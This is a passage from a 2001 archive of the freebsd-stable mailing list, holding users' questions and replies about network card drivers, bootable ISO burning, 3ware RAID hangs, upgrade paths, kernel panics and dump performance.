all. (HP Omnibook xe3 2116) Its not supported in 4.2-RELEASE, but certianly is in my world dated 23/02/2001 Here is the appropriate bit from my dmesg: dc0: port 0x1c00-0x1cff mem 0xe8000000- 0xe80003ff irq 11 at device 16.0 on pci0 dc0: Ethernet address: 00:d0:59:24:df:f7 miibus0: on dc0 ukphy0: on miibus0 ukphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto Unless the driver has been broken since then It shouldnt be a problem. Barry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 8:33:57 2001 Delivered-To: freebsd-stable@freebsd.org Received: from megaohm.resistor.net (megaohm.resistor.net [166.90.54.133]) by hub.freebsd.org (Postfix) with ESMTP id 3BD5237B71C for ; Thu, 15 Mar 2001 08:33:53 -0800 (PST) (envelope-from stl@megaohm.resistor.net) Received: (from stl@localhost) by megaohm.resistor.net (8.11.1/8.11.1) id f2FGXbx26984; Thu, 15 Mar 2001 08:33:37 -0800 Date: Thu, 15 Mar 2001 17:33:37 +0100 From: Steven Lawrance To: Barry Irwin Cc: freebsd-stable@freebsd.org Subject: Re: Accton EN2242 Message-ID: <20010315173337.B2609@koffein.net> References: <20010315165823.A2609@koffein.net> <20010315181214.D32543@devco.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20010315181214.D32543@devco.net>; from bvi@devco.net on Thu, Mar 15, 2001 at 06:12:14PM +0200 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Barry Irwin (15 Mar 2001 17:12 +0100): > I've not had a problem at all. (HP Omnibook xe3 2116) Its not supported in > 4.2-RELEASE, but certianly is in my world dated 23/02/2001 Ugh, this sounds like Bad News for me. I get dmesgs such as... From the 4.2-20010315-STABLE snapshot: dc0: irq 10 at device 17.0 on pci0 dc0: couldn't map ports/memory device_probe_and_attach: dc0 attach returned 6 and from 5.0-20010314-CURRENT: dc0: irq 10 at device 17.0 on pci0 dc0: failed to enable I/O ports! device_probe_and_attach: dc0 attach returned 6 Could this mean a braindead BIOS? -- Steven Lawrance | DHS 1024/0x76F301DE stl@koffein.net | RSA 2048/0x9F030653 ----------------/ http://koffein.net/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 8:51:50 2001 Delivered-To: freebsd-stable@freebsd.org Received: from magic.adaptec.com (magic.adaptec.com [208.236.45.80]) by hub.freebsd.org (Postfix) with ESMTP id 363AE37B71A for ; Thu, 15 Mar 2001 08:51:45 -0800 (PST) (envelope-from scott_long@btc.adaptec.com) Received: from redfish.adaptec.com (redfish.adaptec.com [162.62.50.11]) by magic.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id IAA07224; Thu, 15 Mar 2001 08:49:00 -0800 (PST) Received: from btc.btc.adaptec.com (btc.btc.adaptec.com [162.62.64.10]) by redfish.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id IAA03447; Thu, 15 Mar 2001 08:40:52 -0800 (PST) Received: from btcexc01.btc.adaptec.com (btcexc01 [162.62.147.10]) by btc.btc.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id JAA26042; Thu, 15 Mar 2001 09:48:58 -0700 (MST) Received: by btcexc01.btc.adaptec.com with Internet Mail Service (5.5.2650.21) id ; Thu, 15 Mar 2001 09:48:59 -0700 Message-ID: <06228E4B0919D511BB5B0000D11ABE921A3A82@btcexc01.btc.adaptec.com> From: "Long, Scott" To: "'Steven Lawrance'" , Barry Irwin Cc: freebsd-stable@freebsd.org Subject: RE: Accton EN2242 Date: Thu, 15 Mar 2001 09:48:58 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Do you have the 'PnP OS' option turned off in the BIOS? > -----Original Message----- > From: Steven Lawrance [mailto:stl@koffein.net] > Sent: Thursday, March 15, 2001 9:34 AM > To: Barry Irwin > Cc: freebsd-stable@freebsd.org > Subject: Re: Accton EN2242 > > > Barry Irwin (15 Mar 2001 17:12 +0100): > > I've not had a problem at all. (HP Omnibook xe3 2116) Its > not supported in > > 4.2-RELEASE, but certianly is in my world dated 23/02/2001 > > Ugh, this sounds like Bad News for me. > > I get dmesgs such as... > > From the 4.2-20010315-STABLE snapshot: > dc0: irq 10 at device > 17.0 on pci0 > dc0: couldn't map ports/memory > device_probe_and_attach: dc0 attach returned 6 > > and from 5.0-20010314-CURRENT: > dc0: irq 10 at device > 17.0 on pci0 > dc0: failed to enable I/O ports! > device_probe_and_attach: dc0 attach returned 6 > > Could this mean a braindead BIOS? > > -- > Steven Lawrance | DHS 1024/0x76F301DE > stl@koffein.net | RSA 2048/0x9F030653 > ----------------/ http://koffein.net/ > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 9: 1: 1 2001 Delivered-To: freebsd-stable@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id D2C9637B718 for ; Thu, 15 Mar 2001 09:00:59 -0800 (PST) (envelope-from cshumway@bsdi.com) Received: from localhost (cshumway@localhost) by meow.osd.bsdi.com (8.11.2/8.11.2) with ESMTP id f2FGwus12818; Thu, 15 Mar 2001 08:58:57 -0800 (PST) (envelope-from cshumway@bsdi.com) X-Authentication-Warning: meow.osd.bsdi.com: cshumway owned process doing -bs Date: Thu, 15 Mar 2001 08:58:56 -0800 (PST) From: Christopher Shumway X-X-Sender: To: Francisco Reyes Cc: Subject: Re: How to burn ISO? (was New 4.3 BETA (BETA2)... ) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 15 Mar 2001, Francisco Reyes wrote: > On Tue, 13 Mar 2001, Jordan Hubbard wrote: > > How can I make a bootable CD from this? > Could not find anything on the archives, FAQ or handbook. > I know how to create disk from ISO images, but last I tried the CD was not > bootable. > > The line I use to create disks from ISO images is: > burncd -f /dev/acd0c -s 10 data fixate Bootable cdroms are made during the ISO mastering stage. If your using software like mkisofs to convert a directory tree into an ISO image, then the mastering software is responceable for making a bootable image. For example, with mkisofs, you want to look at the -b flag. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 9: 9:27 2001 Delivered-To: freebsd-stable@freebsd.org Received: from agena.meridian-enviro.com (thunder.meridian-enviro.com [207.109.234.227]) by hub.freebsd.org (Postfix) with ESMTP id 9FAF437B718; Thu, 15 Mar 2001 09:09:21 -0800 (PST) (envelope-from rand@meridian-enviro.com) Received: from meridian-enviro.com (kfarms.meridian-enviro.com [10.10.10.20]) by agena.meridian-enviro.com (8.11.1/8.9.3) with ESMTP id f2FH9JQ94994; Thu, 15 Mar 2001 11:09:19 -0600 (CST) (envelope-from rand@meridian-enviro.com) Message-ID: <3AB0F73E.B0537F7B@meridian-enviro.com> Date: Thu, 15 Mar 2001 11:09:18 -0600 From: "Douglas K. Rand" Organization: Meridian Environmental Technoloties X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Mike Smith Cc: freebsd-stable@freebsd.org, bryanh@meridian-enviro.com Subject: Re: 3ware problems References: <200103150730.f2F7UWE02140@mass.dis.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Drat. There it is; you've got a command that looks like it's stuck in > the adapter. > > try changing the value of TWE_Q_LENGTH in /sys/dev/twe/twereg.h to 100 and > see if you can reproduce it. Well, I just woke up and mysqd was stuck again in getblk, this time with a TWE_Q_LENGTH of 100: db> call twe_report twe0: status 57007390 twe0: current max twe0: free 0099 0100 twe0: ready 0000 0000 twe0: busy 0001 0100 twe0: complete 0000 0011 twe0: bioq 0000 0027 twe0: AEN queue head 1 tail 0 twed: total bio count in 1646323 out 1646322 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 9:14:49 2001 Delivered-To: freebsd-stable@freebsd.org Received: from serenity.mcc.ac.uk (serenity.mcc.ac.uk [130.88.200.93]) by hub.freebsd.org (Postfix) with ESMTP id C6B7737B71C for ; Thu, 15 Mar 2001 09:14:47 -0800 (PST) (envelope-from jcm@freebsd-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97] ident=root) by serenity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14dbKj-0008TA-00; Thu, 15 Mar 2001 17:14:41 +0000 Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f2FHEe322470; Thu, 15 Mar 2001 17:14:41 GMT (envelope-from jcm) Date: Thu, 15 Mar 2001 17:14:40 +0000 From: j mckitrick To: Sean Chittenden Cc: freebsd-stable@freebsd.org Subject: Re: Update UPDATING for upgrade path from 3.4 (was Re: Major upgrade)... Message-ID: <20010315171440.C22175@dogma.freebsd-uk.eu.org> References: <000e01c0ac9d$abd50040$fd03a8c0@ws001> <20010314101415.B48101@rand.tgd.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20010314101415.B48101@rand.tgd.net>; from sean@chittenden.org on Wed, Mar 14, 2001 at 10:14:15AM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Mar 14, 2001 at 10:14:15AM -0800, Sean Chittenden wrote: | I've done this upgrade a few times and tried going from 3.4 -> | 4.X: not so smooth. In fact, big sink whole for time, however, 3.4 -> | 3.5-STABLE -> 4.X works very nicely. Having spent a chunk of time Does anyone know what changed from 3.4->3.5 that makes the 4.x change so much smoother? I thought 3.5 was just a few bug fixes for those who wanted to stay with the 3.x tree until 4.0 settled down a bit more. jcm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 9:34:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from megaohm.resistor.net (megaohm.resistor.net [166.90.54.133]) by hub.freebsd.org (Postfix) with ESMTP id 96AA637B719 for ; Thu, 15 Mar 2001 09:34:17 -0800 (PST) (envelope-from stl@megaohm.resistor.net) Received: (from stl@localhost) by megaohm.resistor.net (8.11.1/8.11.1) id f2FHXgg27950; Thu, 15 Mar 2001 09:33:42 -0800 Date: Thu, 15 Mar 2001 18:33:42 +0100 From: Steven Lawrance To: "Long, Scott" Cc: Barry Irwin , freebsd-stable@freebsd.org Subject: Re: Accton EN2242 Message-ID: <20010315183342.C2609@koffein.net> References: <06228E4B0919D511BB5B0000D11ABE921A3A82@btcexc01.btc.adaptec.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <06228E4B0919D511BB5B0000D11ABE921A3A82@btcexc01.btc.adaptec.com>; from scott_long@btc.adaptec.com on Thu, Mar 15, 2001 at 09:48:58AM -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Long, Scott (15 Mar 2001 17:48 +0100): > Do you have the 'PnP OS' option turned off in the BIOS? Alas, there appears not to be any such option in the BIOS. I should also mention that this is a Toshiba Satellite 1710CDS, with PhoenixBIOS 4.0 Release 6.0 Ver 1.03A. -- Steven Lawrance | DHS 1024/0x76F301DE stl@koffein.net | RSA 2048/0x9F030653 ----------------/ http://koffein.net/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 9:57: 2 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id DE5C837B71A for ; Thu, 15 Mar 2001 09:56:59 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2FHtpH83144; Thu, 15 Mar 2001 09:55:51 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: goodleaf@clyde.goodleaf.net Cc: stable@FreeBSD.ORG Subject: Re: Perl 5.6 merged soon? In-Reply-To: <20010315080445.A57062@clyde.goodleaf.net> References: <20010315080445.A57062@clyde.goodleaf.net> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010315095551E.jkh@osd.bsdi.com> Date: Thu, 15 Mar 2001 09:55:51 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 7 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I searched the mailing list archives for the answer to this, and found > there the same question but no answer--just evaluations of Perl5.6. So > is there some expectation of having 5.6 in stable soon, or in 4.3 release? None. It's far too late for that. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 10:26:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21]) by hub.freebsd.org (Postfix) with ESMTP id 8EEEA37B718; Thu, 15 Mar 2001 10:26:13 -0800 (PST) (envelope-from wkb@freebie.demon.nl) Received: from [212.238.54.101] (helo=freebie.demon.nl) by post.mail.nl.demon.net with smtp (Exim 3.14 #4) id 14dcRw-000EaL-00; Thu, 15 Mar 2001 18:26:12 +0000 Received: (from wkb@localhost) by freebie.demon.nl (8.11.2/8.11.2) id f2FISPi01027; Thu, 15 Mar 2001 19:28:25 +0100 (CET) (envelope-from wkb) Date: Thu, 15 Mar 2001 19:28:25 +0100 From: Wilko Bulte To: "David O'Brien" Cc: stable@freebsd.org, alpha@freebsd.org Subject: Re: New 4.3 BETA (BETA2) release available Message-ID: <20010315192825.A1013@freebie.demon.nl> References: <20010313191333C.jkh@osd.bsdi.com> <20010313234512.A91108@dragon.nuxi.com> <20010314150721.A5250@dragon.nuxi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20010314150721.A5250@dragon.nuxi.com>; from obrien@freebsd.org on Wed, Mar 14, 2001 at 03:07:21PM -0800 X-OS: FreeBSD 4.2-STABLE X-PGP: finger wilko@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Mar 14, 2001 at 03:07:21PM -0800, David O'Brien wrote: > On Tue, Mar 13, 2001 at 11:45:12PM -0800, David O'Brien wrote: > > The Alpha version is now available at > > > > ftp://ftp.freebsd.org/pub/FreeBSD/releases/alpha/4.3-BETA-20010313 > > > > I'll roll and ISO and copy it up ASAP. > > Alpha ISO is now available as > ftp://ftp.freebsd.org/pub/FreeBSD/releases/alpha/ISO-IMAGES/4.3-beta-20010313.iso Eh... >>>boot dkc600 (boot dkc600.6.0.1009.0 -flags i) block 0 of dkc600.6.0.1009.0 is not a valid boot block bootstrap failure >>> on both Miata MX5 and Multia233. With 2 different CDR disks. My bad download, or a bad .iso? Wilko -- | / o / / _ Arnhem, The Netherlands email: wilko@freebsd.org |/|/ / / /( (_) Bulte http://www.freebsd.org http://www.nlfug.nl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 10:33:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from gifw.genroco.com (genroco.com [205.254.195.202]) by hub.freebsd.org (Postfix) with ESMTP id 0099D37B718 for ; Thu, 15 Mar 2001 10:33:23 -0800 (PST) (envelope-from hetzels@westbend.net) Received: from gi2.genroco.com (IDENT:root@gi2.genroco.com [192.133.120.3]) by gifw.genroco.com (8.9.3/8.9.3) with ESMTP id MAA26888; Thu, 15 Mar 2001 12:33:18 -0600 Received: from scot.genroco.com (scot.genroco.com [192.133.120.125]) by gi2.genroco.com (8.9.3/8.9.3) with SMTP id MAA01175; Thu, 15 Mar 2001 12:33:13 -0600 Message-ID: <01f001c0ad7e$66e76860$7d7885c0@genroco.com> From: "Scot W. Hetzel" To: "Dinesh Nair" , References: Subject: Re: kde-2.1/freebsd 4.3beta/konqueror and openssl Date: Thu, 15 Mar 2001 12:33:11 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From: "Dinesh Nair" > one a related note, though i've got most of the files in /usr/lib dated > March 7, 2001, a few of them are still dated July 28, 2000 as per the > 4.1-RELEASE i installed of the cd sets. as some of these include rsaref > and libssl_p.a libraries, i was wondering if this was contributing to the > problem. > > -r--r--r-- 1 root wheel 9196 Jul 28 2000 librsaUSA.so.1 > -r--r--r-- 1 root wheel 6394 Jul 28 2000 librsaUSA.a > -r--r--r-- 1 root wheel 7158 Jul 28 2000 librsaUSA_p.a > -r--r--r-- 1 root wheel 880 Jul 28 2000 libRSAglue_p.a > -r--r--r-- 1 root wheel 244522 Jul 28 2000 libssl_p.a > -r--r--r-- 1 root wheel 2284 Jul 28 2000 libRSAglue.so.1 > -r--r--r-- 1 root wheel 822 Jul 28 2000 libRSAglue.a > > if it isnt, would it be safe to rm these July 28th dated libraries out of > /usr/lib ? > The *_p.a files are profiled libraries that can be safely removed from the system. librsaUSA.*, and libRSAglue.* have been integrated into the OpenSSL distribution since the RSA patent has expired. You may remove these libraries if you have no ports that are still depending on them. Just rebuild all ports that depend on OpenSSL. Scot To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 10:39:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100]) by hub.freebsd.org (Postfix) with SMTP id 312A937B719 for ; Thu, 15 Mar 2001 10:39:54 -0800 (PST) (envelope-from Harald.Schmalzbauer@gmx.de) Received: (qmail 13995 invoked by uid 0); 15 Mar 2001 18:40:03 -0000 Date: Thu, 15 Mar 2001 19:39:52 +0100 (MET) From: Harald Schmalzbauer To: stable@freebsd.org MIME-Version: 1.0 Subject: How to debug - find error? X-Priority: 3 (Normal) X-Authenticated-Sender: #0000301138@gmx.net X-Authenticated-IP: [212.63.129.190] Message-ID: <17979.984681592@www23.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello all, I'm still having a lot of trouble with my IDE controller. Like I recently posted I have a Supermicro 370DER with four 80GB IDE drives for intermedia-storage. Now the original problem with the silently hanging system was due to a BIOS problem. After I had installed a new BIOS the system hangs vanished and the transferrate doubled. (Could anyone explain that to me ?!? eh?) But now I have a kernel panic when having load on the /dev/vinum/bck and /dev/ccd0c (doesn't matter which one). Since the problem only occurs every dozends Gigabytes I have no screen error and I also found nothing in messages. So how can I figure out what the problem could be? Thanks in advance, -Harry mailto:h.schmalzbauer@belenus.com -- Sent through GMX FreeMail - http://www.gmx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 10:48:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 4AB6C37B71A for ; Thu, 15 Mar 2001 10:48:50 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2FImlw12865; Thu, 15 Mar 2001 10:48:47 -0800 (PST) Date: Thu, 15 Mar 2001 10:48:47 -0800 From: Alfred Perlstein To: Harald Schmalzbauer Cc: stable@FreeBSD.ORG Subject: Re: How to debug - find error? Message-ID: <20010315104847.Y29888@fw.wintelcom.net> References: <17979.984681592@www23.gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <17979.984681592@www23.gmx.net>; from Harald.Schmalzbauer@gmx.de on Thu, Mar 15, 2001 at 07:39:52PM +0100 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Harald Schmalzbauer [010315 10:40] wrote: > Hello all, > > I'm still having a lot of trouble with my IDE controller. > Like I recently posted I have a Supermicro 370DER with four 80GB IDE drives > for intermedia-storage. > Now the original problem with the silently hanging system was due to a BIOS > problem. After I had installed a new BIOS the system hangs vanished and the > transferrate doubled. (Could anyone explain that to me ?!? eh?) > But now I have a kernel panic when having load on the /dev/vinum/bck and > /dev/ccd0c (doesn't matter which one). > > Since the problem only occurs every dozends Gigabytes I have no screen error > and I also found nothing in messages. So how can I figure out what the > problem could be? See: http://www.freebsd.org/handbook/kerneldebug.html -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 11: 1: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ocean.int.pr-comm.com (64-214-249-34.dsl1.ROC.gblx.net [64.214.249.34]) by hub.freebsd.org (Postfix) with ESMTP id 93ABB37B71A for ; Thu, 15 Mar 2001 11:00:59 -0800 (PST) (envelope-from housley@pr-comm.com) Received: (from root@localhost) by ocean.int.pr-comm.com (8.11.3/8.11.2) id f2FJ0vD65250; Thu, 15 Mar 2001 14:00:57 -0500 (EST) (envelope-from housley@pr-comm.com) Received: from vaio (frenchknot.ne.mediaone.net [24.147.224.201]) (authenticated) by pr-comm.com (8.11.3/8.11.3) with ESMTP id f2FJ0qo65242; Thu, 15 Mar 2001 14:00:53 -0500 (EST) (envelope-from housley@pr-comm.com) Message-ID: <000701c0ad82$40ee80e0$4800a8c0@int.thehousleys.net> From: "James Housley" To: Cc: Subject: PROBLEMS with 4.3-BETA and dump Date: Thu, 15 Mar 2001 14:00:39 -0500 Organization: PR Communications, Inc MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG A couple of days ago, after I started tracking 4.3 release canidates, my "main" machine started failing to backup with amanda. Amanda runs on that machine as the server. But it was failing from timeout on estimate. The first thing I did was backup the "inherite nodump flag", but that made no change. Most mornings I have been updating my CVS tree at about 5:30 EST. On a build from March 14: dump 0hsf 0 1048576 - /dev/ad0s1f took 38 minutes to reach the point for the "DUMP: estimate ......." message. This morning I did: cvs -q update -rRELENG_4 -D "16 days ago" make world kernel reboot dump 0hsf 0 1048576 - /dev/ad0s1f took 9 seconds to reach the point for the "DUMP: estimate ...... " message Right now I am in the middle of a build world from: cvs -q update -rRELENG_4 -D "8 days ago" I have a similar machine that isn't having problems, but it's disks are very different. I will keep more post as I narrow the date down. Jim PS. I hope this comes throught okay because sendmail isn't working correctly right now, but that will be fixed once I bring the system back upto date. PPS. Please CC answers back to me cause I may not beable to read the list mail. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 11:14:25 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100]) by hub.freebsd.org (Postfix) with SMTP id CD0FA37B719 for ; Thu, 15 Mar 2001 11:14:21 -0800 (PST) (envelope-from Harald.Schmalzbauer@gmx.de) Received: (qmail 24315 invoked by uid 0); 15 Mar 2001 19:14:20 -0000 Date: Thu, 15 Mar 2001 20:14:18 +0100 (MET) From: Harald Schmalzbauer To: stable@freebsd.org MIME-Version: 1.0 Subject: Re: How to debug - find error? X-Priority: 3 (Normal) X-Authenticated-Sender: #0000301138@gmx.net X-Authenticated-IP: [212.63.129.190] Message-ID: <4655.984683658@www23.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >See: http://www.freebsd.org/handbook/kerneldebug.html O.K. I don't know what I should do with that but I'll do so (I'm no programmer). I saw that Greg has updated vinum two days ago. Perhaps it was really a problem with vinum and ccd uses the same code. I'm making a new world and will see if the problem still exists. Thnaks, -Harry -- Sent through GMX FreeMail - http://www.gmx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 11:15: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from agena.meridian-enviro.com (thunder.meridian-enviro.com [207.109.234.227]) by hub.freebsd.org (Postfix) with ESMTP id B31F537B718; Thu, 15 Mar 2001 11:15:02 -0800 (PST) (envelope-from rand@meridian-enviro.com) Received: from delta.meridian-enviro.com (delta.meridian-enviro.com [10.10.10.43]) by agena.meridian-enviro.com (8.11.1/8.9.3) with ESMTP id f2FJE3Q07524; Thu, 15 Mar 2001 13:14:04 -0600 (CST) (envelope-from rand@meridian-enviro.com) Date: Thu, 15 Mar 2001 13:14:03 -0600 Message-ID: <87bsr2ones.wl@delta.meridian-enviro.com> From: rand@meridian-enviro.com To: Mike Tancsa Cc: rand@meridian-enviro.com, Mike Smith , freebsd-stable@FreeBSD.ORG, bryanh@meridian-enviro.com Subject: Re: 3ware problems In-Reply-To: <4.2.2.20010314203128.030e6c20@marble.sentex.net> References: <200103150029.f2F0TTF04572@mass.dis.org> <87g0gfopf4.wl@delta.meridian-enviro.com> <87elvzoona.wl@delta.meridian-enviro.com> <4.2.2.20010314203128.030e6c20@marble.sentex.net> User-Agent: Wanderlust/2.5.8 (Smooth) SEMI/1.14.3 (Ushinoya) FLIM/1.14.2 (Yagi-Nishiguchi) APEL/10.2 MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) X-Face: $L%T~#'9fAQ])o]A][d7EH`V;"_;2K;TEPQB=v]rDf_2s% As soon as we had the problem we upgraded the firmware. Here is the Doug> revelant parts of dmesg: Doug> Doug> twe0: <3ware Storage Controller> port 0xef60-0xef6f irq 10 at device 20.0 Doug> on pci0 Doug> twe0: 4 ports, Firmware FE6X 1.01.18.001, BIOS BEXX 1.06.00.001 Mike> I have had good luck with that rev on a number of cards. Are Mike> you by any chance using a stripe size other than the default 64? Mike> I found using 128K craps out on FreeBSD and Win2K. Sorry this took me so long to verify, I just now had a chance at the physical system. I am using a stripe size of 64KB, just verified that in the 3ware bios. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 11:20:57 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.tgd.net (rand.tgd.net [64.81.67.117]) by hub.freebsd.org (Postfix) with SMTP id 7EB9F37B722 for ; Thu, 15 Mar 2001 11:20:47 -0800 (PST) (envelope-from sean@mailhost.tgd.net) Received: (qmail 56862 invoked by uid 1001); 15 Mar 2001 19:20:44 -0000 Date: Thu, 15 Mar 2001 11:20:44 -0800 From: Sean Chittenden To: j mckitrick Cc: freebsd-stable@freebsd.org Subject: Re: Update UPDATING for upgrade path from 3.4 (was Re: Major upgrade)... Message-ID: <20010315112044.C54243@rand.tgd.net> References: <000e01c0ac9d$abd50040$fd03a8c0@ws001> <20010314101415.B48101@rand.tgd.net> <20010315171440.C22175@dogma.freebsd-uk.eu.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="CblX+4bnyfN0pR09" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010315171440.C22175@dogma.freebsd-uk.eu.org>; from "jcm@FreeBSD-uk.eu.org" on Thu, Mar 15, 2001 at = 05:14:40PM X-PGP-Key: 0x1EDDFAAD X-PGP-Fingerprint: C665 A17F 9A56 286C 5CFB 1DEA 9F4F 5CEF 1EDD FAAD X-Web-Homepage: http://sean.chittenden.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --CblX+4bnyfN0pR09 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable I don't remember... I'll see if I can dive into it again... I think it was a compile issue because of a change in gcc or make, but don't quote me on that. missing libraries or include files + unable to link was the problem I got in a make world, if I remember correctly, but what specifically? Been 